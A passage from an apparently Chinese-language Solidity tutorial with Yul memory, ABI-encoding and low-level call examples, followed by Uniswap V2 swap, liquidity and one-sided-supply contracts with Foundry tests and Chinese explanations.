            // 0xa0
            a0 := mload(add(arr, 0x20))
            // 0xc0
            a1 := mload(add(arr, 0x40))
            // 0xe0
            a2 := mload(add(arr, 0x60))
        }
    }

    function test_write() public pure returns (bytes32 p, uint256[] memory) {
        uint256[] memory arr = new uint256[](0);

        assembly {
            p := arr
            // Store length of arr
            mstore(arr, 3)
            // Store 1, 2, 3
            mstore(add(arr, 0x20), 11)
            mstore(add(arr, 0x40), 22)
            mstore(add(arr, 0x60), 33)
            // Update free memory pointer
            mstore(0x40, add(arr, 0x80))
        }

        // Data will be ABI encoded when arr is returned to caller
        return (p, arr);
    }
}

contract MemInternalFuncReturn {
    function internal_func_return_val() private pure returns (uint256) {
        return uint256(0xababab);
    }

    function test_val() public pure {
        // 0xababab will be stored in top of the stack
        internal_func_return_val();
    }

    function internal_func_return_mem()
        private
        pure
        returns (bytes32[] memory)
    {
        bytes32[] memory arr = new bytes32[](3);
        arr[0] = bytes32(uint256(0xaaa));
        arr[1] = bytes32(uint256(0xbbb));
        arr[2] = bytes32(uint256(0xccc));
        return arr;
    }

    function test_mem()
        public
        pure
        returns (uint256 len, bytes32 a0, bytes32 a1, bytes32 a2)
    {
        // Stores 0x80 to top of the stack
        // 0x80 = memory pointer to beginning of arr
        internal_func_return_mem();
        // Read data from arr, initialized in internal_func_return_mem, using assembly
        assembly {
            len := mload(0x80)
            a0 := mload(0xa0)
            a1 := mload(0xc0)
            a2 := mload(0xe0)
        }
    }
}

contract ABIEncode {
    // js code to split string into chunks of length 64
    // str.match(/.{1,64}/g)

    // Value types < 32 bytes -> zero padded on the left side
    // 0x000000000000000000000000abababababababababababababababababababab
    function encode_addr() public pure returns (bytes memory) {
        address addr = 0xABaBaBaBABabABabAbAbABAbABabababaBaBABaB;
        return abi.encode(addr);
    }

    // Fixed sized bytes -> zero padded on the righ side
    // 0xaabbccdd00000000000000000000000000000000000000000000000000000000
    function encode_bytes4() public pure returns (bytes memory) {
        bytes4 b4 = 0xaabbccdd;
        return abi.encode(b4);
    }

    // Dynamic size types
    // offset | length | data
    // offset = 32 bytes index where data starts
    // length = 32 bytes data length

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   ababab0000000000000000000000000000000000000000000000000000000000
    function encode_bytes() public pure returns (bytes memory) {
        bytes memory b = new bytes(3);
        b[0] = 0xab;
        b[1] = 0xab;
        b[2] = 0xab;
        return abi.encode(b);
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_uint8_arr() public pure returns (bytes memory) {
        uint8[] memory a = new uint8[](3);
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Fixed size arrays
    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_uint256_fixed_size_arr()
        public
        pure
        returns (bytes memory)
    {
        uint8[3] memory a;
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Struct
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_struct() public pure returns (bytes memory) {
        Point memory p = Point(1, 2, 3);
        return abi.encode(p);
    }

    // Dynamic sized array of structs
    // offset | length | struct data
    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000004
    //   0000000000000000000000000000000000000000000000000000000000000005
    //   0000000000000000000000000000000000000000000000000000000000000006
    //   0000000000000000000000000000000000000000000000000000000000000007
    //   0000000000000000000000000000000000000000000000000000000000000008
    //   0000000000000000000000000000000000000000000000000000000000000009
    function encode_struct_array() public pure returns (bytes memory) {
        Point[] memory arr = new Point[](3);
        arr[0] = Point(1, 2, 3);
        arr[1] = Point(4, 5, 6);
        arr[2] = Point(7, 8, 9);
        return abi.encode(arr);
    }
}

contract MemReturn {
    function test_return_vals() public pure returns (uint256, uint256) {
        // return(start, len) - Halt execution and return data stored in memory from start to start + len
        assembly {
            mstore(0x80, 11)
            mstore(0xa0, 22)
            return(0x80, 0x40)
        }
    }

    function test_return_dyn_arr() public pure returns (uint256[] memory) {
        // ABI encode uint256[] array with 3 elements 11, 22 and 33
        assembly {
            // offset
            mstore(0x80, 0x20)
            // length
            mstore(add(0x80, 0x20), 3)
            // array elements
            mstore(add(0x80, 0x40), 11)
            mstore(add(0x80, 0x60), 22)
            mstore(add(0x80, 0x80), 33)
            // No need to update free memory pointer - function execution ends here
            return(0x80, mul(5, 0x20))
        }
    }

    function test_return() public pure returns (uint256, uint256) {
        // Returns (11, 22)
        test_return_vals();
        // This code will never execute
        return (333, 444);
    }
}

contract MemRevert {
    function test_revert() public pure {
        // revert(start, len) - Revert execution and return data store in memory from start to start + len
        assembly {
            mstore(0x80, "ERROR HERE")
            revert(0x80, 0x20)
        }
    }

    function test_revert_with_error_msg() public pure {
        assembly {
            let p := mload(0x40)
            // function selector of Error(string)
            // 0x08c379a000000000000000000000000000000000000000000000000000000000
            // 0x08c379a0 is 32 bits, shift left by 224 to make it 256 bits
            // 255 - 31 = 224
            mstore(p, shl(224, 0x08c379a0))
            // String offset
            mstore(add(p, 0x04), 0x20)
            // String length
            mstore(add(p, 0x24), 5)
            // Message (must be less than 32 bytes)
            mstore(add(p, 0x44), "ERROR")
            // function selector + offset + string length + string message
            // = 0x04 + 0x20 + 0x20 + 0x20
            // = 0x64
            revert(p, 0x64)
        }
    }
}

contract MemKeccak {
    function test_keccak() public pure returns (bytes32) {
        // keccak256(start, len) - Keccak256 from data in memory from start to start + len
        assembly {
            mstore(0x80, 1)
            mstore(0xa0, 2)

            let h := keccak256(0x80, 0x40)
            mstore(0xc0, h)

            return(0xc0, 0x20)
        }
    }

    function keccak() public pure returns (bytes32) {
        return keccak256(abi.encodePacked(uint256(1), uint256(2)));
    }
}

contract Target {
    function return_uint256(uint256 x) public pure returns (uint256) {
        return x;
    }

    function return_bytes(uint256 n) public pure returns (bytes memory) {
        bytes memory out = new bytes(n);
        for (uint256 i; i < n; i++) {
            out[i] = 0xab;
        }
        return out;
    }

    function return_uint256_arr(uint256 n)
        public
        pure
        returns (uint256[] memory)
    {
        uint256[] memory out = new uint256[](n);
        for (uint256 i = 0; i < n; i++) {
            out[i] = i + 1;
        }
        return out;
    }
}

// calldatacopy(p, start, size) - Copy start to start + size calldata to memory starting at pointer p
// returndatasize - Get size of returned data from call, staticcall or delegatecall
// returndatacopy(p, start, size) - Copy start to start + size return data to memory starting at pointer p
// call(g, a, v, in, in_size, out, out_size)
// - call contract at a, use max g gas, send v wei
// - with input from memory in to in + in_size
// - use memory out to out + out_size for output
// staticcall(g, a, in, in_size, out, out_size) - read only version of call
contract YulStaticCall {
    function test_staticcall(address a, bytes calldata data) public view {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)

            let ok := staticcall(gas(), a, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // p := mload(0x40)
            let return_data_size := returndatasize()
            // Copy returned data to memory
            // Is it safe to overwrite memory that was used for inputs?
            returndatacopy(p, 0, return_data_size)
            return(p, return_data_size)
        }
    }

    function test_abi_decode_uint256(address a, bytes calldata data)
        public
        view
        returns (uint256)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_bytes(address a, bytes calldata data)
        public
        view
        returns (bytes memory)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_uint256_arr(address a, bytes calldata data)
        public
        view
        returns (uint256[] memory)
    {
        test_staticcall(a, data);
    }

    function test_staticcall_return_abi_encoded_bytes(
        address addr,
        bytes calldata data
    ) public view returns (bytes memory out, uint256 return_data_size) {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)
            // Update free memory pointer
            mstore(0x40, add(p, data.length))

            let ok := staticcall(gas(), addr, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // return_data_size = 32  for calling Target.return_uint256 -> uint256
            //                  = 96  for calling Target.return_bytes -> bytes[] (32 offset, 32 length, 3 bytes padded to 32)
            //                  = 160 for calling Target.return_uint256_arr -> uint256[] (32 offset, 32 length, 32 x 3 elements)
            return_data_size := returndatasize()
            // Store length of return data to out
            // pointer to out = 0x60 (zero slot)
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }
}

contract Counter {
    uint256 public count;

    function inc() public returns (uint256) {
        count += 1;
        return count;
    }
}

contract YulCall {
    function test_call(address a, bytes memory data)
        public
        payable
        returns (bytes memory out)
    {
        assembly {
            // 0x80
            let data_ptr := data
            // 0x60
            let out_ptr := out

            let data_size := mload(data)
            let data_start := add(data, 0x20)
            let ok := call(gas(), a, callvalue(), data_start, data_size, 0, 0)

            if iszero(ok) { revert(0, 0) }

            let return_data_size := returndatasize()
            // Store length of return data to out
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }

    function test_inc(address counter) public returns (uint256 count) {
        bytes memory res = test_call(counter, abi.encodeCall(Counter.inc, ()));
        count = abi.decode(res, (uint256));
    }
}

// Memory expansion gas cost
// Gas cost is quadratic to memory allocation.
contract MemExp {
    function alloc_mem(uint256 n) external view returns (uint256) {
        uint256 gas_start = gasleft();
        uint256[] memory arr = new uint256[](n);
        uint256 gas_end = gasleft();
        return gas_start - gas_end;
    }
}

// arr size | gas
//        0 |    120
//        1 |    178
//       10 |    232
//       20 |    293
//       30 |    354
//       40 |    415
//       50 |    477
//       60 |    540
//       70 |    602
//       80 |    666
//       90 |    729
//      100 |    793
//      110 |    857
//      120 |    922
//      130 |    987
//      140 |   1053
//      150 |   1118
//      160 |   1185
//      170 |   1251
//      180 |   1318
//      190 |   1386
//      200 |   1454

//     1000 |   8144
//     2000 |  20023
//     3000 |  35808
//     4000 |  55500
//     5000 |  79097
//     6000 | 106601
//     7000 | 138011
//     8000 | 173328
//     9000 | 212550
//    10000 | 255679
//    11000 | 302715
//    12000 | 353656
//    13000 | 408504
//    14000 | 467257
//    15000 | 529918
//    16000 | 596484
//    17000 | 666957
//    18000 | 741336
//    19000 | 819621
//    20000 | 901812

这段代码是一个 Solidity 合约的示例,展示了如何在 Solidity 中使用汇编语言进行内存读写、内存管理以及编码和解码数据。以下是对代码中主要部分的中文解释:

8.20.1 合约概述

  1. 内存布局
    • Solidity 中的内存是以字节为单位存储数据。内存的每个索引都是 32 字节(256 位),可以存储 0x00 到 0xff 的值。
    • 代码中定义了保留槽(reserved slots)来存储一些特定用途的数据,例如:
      • 0x00 - 0x3f 用于哈希方法的临时存储。
      • 0x40 - 0x5f 是一个指向下一个可用内存位置的指针。
      • 0x60 - 0x7f 是一个零槽,用于动态数组的初始值。
  2. 函数实现
    • test_1 函数使用汇编将值存储到内存中,并从内存中读取该值。
    • test_2 函数展示了如何在特定的内存索引上存储多个值。
    • MemStruct 合约展示了如何定义结构体和在内存中存储和读取结构体数据。
    • MemFixedArrayMemDynamicArray 合约展示了如何处理固定大小和动态大小的数组,包括内存的读写。
    • MemInternalFuncReturn 合约展示了如何通过内部函数返回值和内存中的数据。
    • ABIEncode 合约展示了如何编码不同类型的数据(例如地址、字节、数组和结构体)以便于合约之间的通信。
  3. 内存返回与重入
    • MemReturn 合约演示了如何使用汇编从内存返回值以及如何处理动态数组的返回。
    • MemRevert 合约展示了如何在出现错误时返回内存中的数据。
  4. 哈希计算
    • MemKeccak 合约展示了如何在内存中计算数据的 Keccak256 哈希值。
  5. 静态调用
    • YulStaticCall 合约展示了如何使用静态调用与其他合约交互,包括将输入数据从 calldata 复制到内存,并处理返回的数据。

8.20.2 总结

这段代码提供了对 Solidity 内存管理的深入理解,展示了如何使用汇编语言直接操控内存。这对于开发高效且安全的智能合约非常重要,尤其是在处理复杂数据结构时。通过掌握这些技巧,开发者能够更好地优化合约的性能和安全性。

8.21 Uniswap V2 Swap

  • swapExactTokens ForTokens将所有代币出售给另一个代币。
  • swapTokensForExactTokens购买由调用者设置的特定数量的代币。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract UniswapV2SwapExamples {
    address private constant UNISWAP_V2_ROUTER =
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

    IUniswapV2Router private router = IUniswapV2Router(UNISWAP_V2_ROUTER);
    IERC20 private weth = IERC20(WETH);
    IERC20 private dai = IERC20(DAI);

    // Swap WETH to DAI
    function swapSingleHopExactAmountIn(uint256 amountIn, uint256 amountOutMin)
        external
        returns (uint256 amountOut)
    {
        weth.transferFrom(msg.sender, address(this), amountIn);
        weth.approve(address(router), amountIn);

        address[] memory path;
        path = new address[](2);
        path[0] = WETH;
        path[1] = DAI;

        uint256[] memory amounts = router.swapExactTokensForTokens(
            amountIn, amountOutMin, path, msg.sender, block.timestamp
        );

        // amounts[0] = WETH amount, amounts[1] = DAI amount
        return amounts[1];
    }

    // Swap DAI -> WETH -> USDC
    function swapMultiHopExactAmountIn(uint256 amountIn, uint256 amountOutMin)
        external
        returns (uint256 amountOut)
    {
        dai.transferFrom(msg.sender, address(this), amountIn);
        dai.approve(address(router), amountIn);

        address[] memory path;
        path = new address[](3);
        path[0] = DAI;
        path[1] = WETH;
        path[2] = USDC;

        uint256[] memory amounts = router.swapExactTokensForTokens(
            amountIn, amountOutMin, path, msg.sender, block.timestamp
        );

        // amounts[0] = DAI amount
        // amounts[1] = WETH amount
        // amounts[2] = USDC amount
        return amounts[2];
    }

    // Swap WETH to DAI
    function swapSingleHopExactAmountOut(
        uint256 amountOutDesired,
        uint256 amountInMax
    ) external returns (uint256 amountOut) {
        weth.transferFrom(msg.sender, address(this), amountInMax);
        weth.approve(address(router), amountInMax);

        address[] memory path;
        path = new address[](2);
        path[0] = WETH;
        path[1] = DAI;

        uint256[] memory amounts = router.swapTokensForExactTokens(
            amountOutDesired, amountInMax, path, msg.sender, block.timestamp
        );

        // Refund WETH to msg.sender
        if (amounts[0] < amountInMax) {
            weth.transfer(msg.sender, amountInMax - amounts[0]);
        }

        return amounts[1];
    }

    // Swap DAI -> WETH -> USDC
    function swapMultiHopExactAmountOut(
        uint256 amountOutDesired,
        uint256 amountInMax
    ) external returns (uint256 amountOut) {
        dai.transferFrom(msg.sender, address(this), amountInMax);
        dai.approve(address(router), amountInMax);

        address[] memory path;
        path = new address[](3);
        path[0] = DAI;
        path[1] = WETH;
        path[2] = USDC;

        uint256[] memory amounts = router.swapTokensForExactTokens(
            amountOutDesired, amountInMax, path, msg.sender, block.timestamp
        );

        // Refund DAI to msg.sender
        if (amounts[0] < amountInMax) {
            dai.transfer(msg.sender, amountInMax - amounts[0]);
        }

        return amounts[2];
    }
}

interface IUniswapV2Router {
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

Test with Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {
    UniswapV2SwapExamples,
    IERC20,
    IWETH
} from "../../../src/defi/uniswap-v2/UniswapV2SwapExamples.sol";

address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

contract UniswapV2SwapExamplesTest is Test {
    IWETH private weth = IWETH(WETH);
    IERC20 private dai = IERC20(DAI);
    IERC20 private usdc = IERC20(USDC);

    UniswapV2SwapExamples private uni = new UniswapV2SwapExamples();

    function setUp() public {}

    // Swap WETH -> DAI
    function testSwapSingleHopExactAmountIn() public {
        uint256 wethAmount = 1e18;
        weth.deposit{value: wethAmount}();
        weth.approve(address(uni), wethAmount);

        uint256 daiAmountMin = 1;
        uint256 daiAmountOut =
            uni.swapSingleHopExactAmountIn(wethAmount, daiAmountMin);

        console2.log("DAI", daiAmountOut);
        assertGe(daiAmountOut, daiAmountMin, "amount out < min");
    }

    // Swap DAI -> WETH -> USDC
    function testSwapMultiHopExactAmountIn() public {
        // Swap WETH -> DAI
        uint256 wethAmount = 1e18;
        weth.deposit{value: wethAmount}();
        weth.approve(address(uni), wethAmount);

        uint256 daiAmountMin = 1;
        uni.swapSingleHopExactAmountIn(wethAmount, daiAmountMin);

        // Swap DAI -> WETH -> USDC
        uint256 daiAmountIn = 1e18;
        dai.approve(address(uni), daiAmountIn);

        uint256 usdcAmountOutMin = 1;
        uint256 usdcAmountOut =
            uni.swapMultiHopExactAmountIn(daiAmountIn, usdcAmountOutMin);

        console2.log("USDC", usdcAmountOut);
        assertGe(usdcAmountOut, usdcAmountOutMin, "amount out < min");
    }

    // Swap WETH -> DAI
    function testSwapSingleHopExactAmountOut() public {
        uint256 wethAmount = 1e18;
        weth.deposit{value: wethAmount}();
        weth.approve(address(uni), wethAmount);

        uint256 daiAmountDesired = 1e18;
        uint256 daiAmountOut =
            uni.swapSingleHopExactAmountOut(daiAmountDesired, wethAmount);

        console2.log("DAI", daiAmountOut);
        assertEq(
            daiAmountOut, daiAmountDesired, "amount out != amount out desired"
        );
    }

    // Swap DAI -> WETH -> USDC
    function testSwapMultiHopExactAmountOut() public {
        // Swap WETH -> DAI
        uint256 wethAmount = 1e18;
        weth.deposit{value: wethAmount}();
        weth.approve(address(uni), wethAmount);

        // Buy 100 DAI
        uint256 daiAmountOut = 100 * 1e18;
        uni.swapSingleHopExactAmountOut(daiAmountOut, wethAmount);

        // Swap DAI -> WETH -> USDC
        dai.approve(address(uni), daiAmountOut);

        uint256 amountOutDesired = 1e6;
        uint256 amountOut =
            uni.swapMultiHopExactAmountOut(amountOutDesired, daiAmountOut);

        console2.log("USDC", amountOut);
        assertEq(
            amountOut, amountOutDesired, "amount out != amount out desired"
        );
    }
}

这段代码实现了基于 Uniswap V2 的几种代币交换功能,下面是对代码中关键部分的分析与解释:

8.21.1 1. 合约和变量定义

  • UniswapV2SwapExamples 合约
    • 这个合约通过调用 Uniswap V2 的路由器合约进行代币交换。
  • 地址常量
    • UNISWAP_V2_ROUTER: Uniswap V2 路由器的地址,用于执行代币交换。
    • WETH, DAI, USDC: 代表不同代币的地址,WETH 是以太坊的包装版本,DAI 和 USDC 是稳定币。
  • 接口定义
    • IUniswapV2Router: 定义了与 Uniswap V2 路由器交互所需的函数,包括 swapExactTokensForTokensswapTokensForExactTokens
    • IERC20: ERC20 标准的代币接口,定义了代币的基本操作。
    • IWETH: 扩展了 ERC20 接口,添加了存入和取出的功能。

8.21.2 2. 代币交换函数

  • swapSingleHopExactAmountIn:
    • 用于将一定数量的 WETH 交换为 DAI。
    • amountIn: 输入的 WETH 数量。
    • amountOutMin: 交易中可以接受的最低 DAI 数量。
    • 合约首先从调用者转移 WETH,然后批准路由器合约花费 WETH,最后调用路由器的 swapExactTokensForTokens 函数执行交换。
  • swapMultiHopExactAmountIn:
    • 用于将 DAI 通过 WETH 交换为 USDC。
    • 过程与单跳交换相似,但路径包含三个代币(DAI -> WETH -> USDC)。
  • swapSingleHopExactAmountOut:
    • 根据希望获得的 DAI 数量(amountOutDesired),计算并交换 WETH。
    • 先从调用者转移最大输入 WETH 数量,并在交易结束后将多余的 WETH 退还给调用者。
  • swapMultiHopExactAmountOut:
    • 先将 DAI 通过 WETH 交换为 USDC,并在交换过程中将多余的 DAI 退还给调用者。

8.21.3 3. 测试合约

  • UniswapV2SwapExamplesTest:
    • 这个合约用于测试上述交换功能。
  • 测试方法
    • 每个测试函数首先为 WETH 或 DAI 准备所需的代币数量,并调用对应的交换函数,最后检查返回的代币数量是否符合预期。

8.21.4 总结

这段代码演示了如何在 Solidity 中与 Uniswap V2 路由器交互以实现代币交换。不同的函数处理了单跳和多跳交换,分别为用户提供了灵活性。此外,通过测试合约,确保了这些交换功能的正确性。

8.22 Uniswap V2 Add Remove Liquidity

Add / Remove Liquidity


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract UniswapV2AddLiquidity {
    address private constant FACTORY =
        0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

    function addLiquidity(
        address _tokenA,
        address _tokenB,
        uint256 _amountA,
        uint256 _amountB
    ) external {
        safeTransferFrom(IERC20(_tokenA), msg.sender, address(this), _amountA);
        safeTransferFrom(IERC20(_tokenB), msg.sender, address(this), _amountB);

        safeApprove(IERC20(_tokenA), ROUTER, _amountA);
        safeApprove(IERC20(_tokenB), ROUTER, _amountB);

        (uint256 amountA, uint256 amountB, uint256 liquidity) = IUniswapV2Router(
            ROUTER
        ).addLiquidity(
            _tokenA,
            _tokenB,
            _amountA,
            _amountB,
            1,
            1,
            address(this),
            block.timestamp
        );
    }

    function removeLiquidity(address _tokenA, address _tokenB) external {
        address pair = IUniswapV2Factory(FACTORY).getPair(_tokenA, _tokenB);

        uint256 liquidity = IERC20(pair).balanceOf(address(this));
        safeApprove(IERC20(pair), ROUTER, liquidity);

        (uint256 amountA, uint256 amountB) = IUniswapV2Router(ROUTER)
            .removeLiquidity(
            _tokenA, _tokenB, liquidity, 1, 1, address(this), block.timestamp
        );
    }

    /**
     * @dev The transferFrom function may or may not return a bool.
     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
     * Need to check if data is empty or true.
     */
    function safeTransferFrom(
        IERC20 token,
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        (bool success, bytes memory returnData) = address(token).call(
            abi.encodeCall(IERC20.transferFrom, (sender, recipient, amount))
        );
        require(
            success
                && (returnData.length == 0 || abi.decode(returnData, (bool))),
            "Transfer from fail"
        );
    }

    /**
     * @dev The approve function may or may not return a bool.
     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
     * Need to check if data is empty or true.
     */
    function safeApprove(IERC20 token, address spender, uint256 amount)
        internal
    {
        (bool success, bytes memory returnData) = address(token).call(
            abi.encodeCall(IERC20.approve, (spender, amount))
        );
        require(
            success
                && (returnData.length == 0 || abi.decode(returnData, (bool))),
            "Approve fail"
        );
    }
}

interface IUniswapV2Router {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);
}

interface IUniswapV2Factory {
    function getPair(address token0, address token1)
        external
        view
        returns (address);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

Test with Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import
    "../../../src/defi/uniswap-v2-add-remove-liquidity/UniswapV2Liquidity.sol";

IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 constant PAIR = IERC20(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);

contract UniswapV2AddLiquidityTest is Test {
    UniswapV2AddLiquidity private uni = new UniswapV2AddLiquidity();

    //  Add WETH/USDT Liquidity to Uniswap
    function testAddLiquidity() public {
        // Deal test USDT and WETH to this contract
        deal(address(USDT), address(this), 1e6 * 1e6);
        assertEq(
            USDT.balanceOf(address(this)), 1e6 * 1e6, "USDT balance incorrect"
        );
        deal(address(WETH), address(this), 1e6 * 1e18);
        assertEq(
            WETH.balanceOf(address(this)), 1e6 * 1e18, "WETH balance incorrect"
        );

        // Approve uni for transferring
        safeApprove(WETH, address(uni), 1e64);
        safeApprove(USDT, address(uni), 1e64);

        uni.addLiquidity(address(WETH), address(USDT), 1 * 1e18, 3000.05 * 1e6);

        assertGt(PAIR.balanceOf(address(uni)), 0, "pair balance 0");
    }

    // Remove WETH/USDT Liquidity from Uniswap
    function testRemoveLiquidity() public {
        // Deal LP tokens to uni
        deal(address(PAIR), address(uni), 1e10);
        assertEq(PAIR.balanceOf(address(uni)), 1e10, "LP tokens balance = 0");
        assertEq(USDT.balanceOf(address(uni)), 0, "USDT balance non-zero");
        assertEq(WETH.balanceOf(address(uni)), 0, "WETH balance non-zero");

        uni.removeLiquidity(address(WETH), address(USDT));

        assertEq(PAIR.balanceOf(address(uni)), 0, "LP tokens balance != 0");
        assertGt(USDT.balanceOf(address(uni)), 0, "USDT balance = 0");
        assertGt(WETH.balanceOf(address(uni)), 0, "WETH balance = 0");
    }

    /**
     * @dev The transferFrom function may or may not return a bool.
     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
     * Need to check if data is empty or true.
     */
    function safeTransferFrom(
        IERC20 token,
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        (bool success, bytes memory returnData) = address(token).call(
            abi.encodeCall(IERC20.transferFrom, (sender, recipient, amount))
        );
        require(
            success
                && (returnData.length == 0 || abi.decode(returnData, (bool))),
            "Transfer from fail"
        );
    }

    /**
     * @dev The approve function may or may not return a bool.
     * The ERC-20 spec returns a bool, but some tokens don't follow the spec.
     * Need to check if data is empty or true.
     */
    function safeApprove(IERC20 token, address spender, uint256 amount)
        internal
    {
        (bool success, bytes memory returnData) = address(token).call(
            abi.encodeCall(IERC20.approve, (spender, amount))
        );
        require(
            success
                && (returnData.length == 0 || abi.decode(returnData, (bool))),
            "Approve fail"
        );
    }
}

这段代码展示了如何在Uniswap V2中添加和移除流动性。以下是主要部分的解释:

  1. 添加流动性
    • addLiquidity 函数允许用户向流动性池中添加两种代币(_tokenA和_tokenB)。
    • 用户需先调用 safeTransferFrom 函数将代币转移到合约中,然后通过 safeApprove 函数授权Uniswap路由器(ROUTER)转移这些代币。
    • 最后,使用 IUniswapV2RouteraddLiquidity 函数将代币添加到流动性池。
  2. 移除流动性
    • removeLiquidity 函数允许用户从流动性池中移除流动性。
    • 首先,通过 IUniswapV2Factory 获取相应的流动性池地址,然后获取该地址的流动性代币(LP tokens)。
    • 使用 safeApprove 授权路由器转移流动性代币,随后调用 removeLiquidity 方法,从池中移除流动性并接收代币。
  3. 安全函数
    • safeTransferFromsafeApprove 确保在执行转账和授权时,即使某些代币不遵循ERC-20标准,它们也能正常工作。

整体来说,这段代码实现了在Uniswap V2中有效添加和移除流动性的功能,同时增加了安全性以防止潜在的失败。

8.23 Uniswap V2 Optimal One Sided Supply

Optimal One Sided Supply

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract TestUniswapOptimalOneSidedSupply {
    address private constant FACTORY =
        0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    /*
    s = optimal swap amount
    r = amount of reserve for token a
    a = amount of token a the user currently has (not added to reserve yet)
    f = swap fee percent
    s = (sqrt(((2 - f)r)^2 + 4(1 - f)ar) - (2 - f)r) / (2(1 - f))
    */
    function getSwapAmount(uint256 r, uint256 a)
        public
        pure
        returns (uint256)
    {
        return (sqrt(r * (r * 3988009 + a * 3988000)) - r * 1997) / 1994;
    }

    /* Optimal one-sided supply
    1. Swap optimal amount from token A to token B
    2. Add liquidity
    */
